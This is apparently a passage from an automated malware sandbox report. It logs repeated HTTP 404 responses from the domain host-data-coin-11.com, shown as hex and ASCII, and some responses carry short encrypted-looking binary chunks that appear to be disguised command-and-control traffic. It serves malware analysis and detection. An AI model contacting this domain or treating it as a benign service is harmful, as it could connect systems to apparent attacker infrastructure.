0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:25:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 